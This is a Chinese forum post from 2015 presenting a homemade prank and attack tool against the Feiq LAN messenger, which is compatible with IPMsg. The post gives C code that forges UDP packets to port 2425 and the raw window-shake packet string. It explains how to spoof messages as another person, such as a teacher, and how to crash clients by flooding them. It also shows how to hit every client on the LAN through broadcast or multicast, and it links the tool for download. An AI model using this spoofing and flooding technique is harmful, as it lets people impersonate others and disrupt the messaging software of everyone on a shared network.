找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 3437|回复: 0
收起左侧

编程练习作品 -> 飞秋攻击Go

[复制链接]
ID:71922 发表于 2015-1-10 22:21 | 显示全部楼层 |阅读模式
      在课室复习网络编程,用抓包工具分析一些数据包,我们课室是用飞秋来传送文件,突然想试试自己模拟飞秋数据包,来看看有什么效果。啊哈,果然和所想一样,通过模拟数据包,可以做各种恶作剧,例如,模拟老师发送消息:到我办公室一趟。
       于是这软件就诞生了。设计这玩意原意是复习一下VC。。。而且现在开始学安卓,不太想花太多精力在这软件上。所以也只完成了一些基本的功能。为了快点完成,就直接修改《机房维护小工具》的源码,可能会有一些小BUG。 并且可能有些信息显示的是 机房维护小工具的提示。。

       实现原理非常简单:先用抓包工具抓取飞秋的数据包,如抖动窗口的数据包,然后用UDP发送即可。

源码就不必公开了,很乱,实现原理很简单,下面贴出一段核心代码。

int sockfd;
SOCKADDR_IN Addr;
char Cmd[200] = {0};
sockfd      = socket(AF_INET, SOCK_DGRAM, 0);
setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on));
Addr.sin_addr.S_un.S_addr = inet_addr(IP);
Addr.sin_family    = AF_INET;
Addr.sin_port    =htons(2425);
sprintf(Cmd, "1_lbt4_0#128#000C29D68D8F#0#0#0#2.5a:1399716676:%s:%s:209:.", “ Love 梦想”, "L、");
sendto(sockfd, Cmd, strlen(Cmd), 0, (struct sockaddr *)&Addr, sizeof(Addr));

需要说明的是,当高频率发送这个数据包,会让对方的飞秋死掉。

这是抖动窗口的数据包:1_lbt4_0#128#000C29D68D8F#0#0#0#2.5a:1399716676:用户名:主机名:209:.",
向指定IP 发送 这个数据包 即可让对方的飞秋的窗口颤啊颤。。。

至于攻击全部,那就更简单了,把IP设置为 255.255.255.255 即可,这样整个局域网所有的飞秋程序的窗口都会颤啊颤,哈哈。。
如果指定攻击的群聊组播地址,那么只要加入该组播的飞秋也能收到这个数据包。前提是它们有建立群。

通杀所有飞秋版本。由于飞秋是从飞鸽传书源码改来的,并且是相互兼容的,那么飞鸽传书也应受影响,未测试过。




下载地址: [color=#2907f8,strength=3)"]http://pan.baidu.com/s/1SD9k[url=http://pan.baidu.com/s/1kTMDshh][/url]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|51黑电子论坛 |51黑电子论坛6群 QQ 管理员QQ:125739409;技术交流QQ群281945664

Powered by 单片机教程网

快速回复 返回顶部 返回列表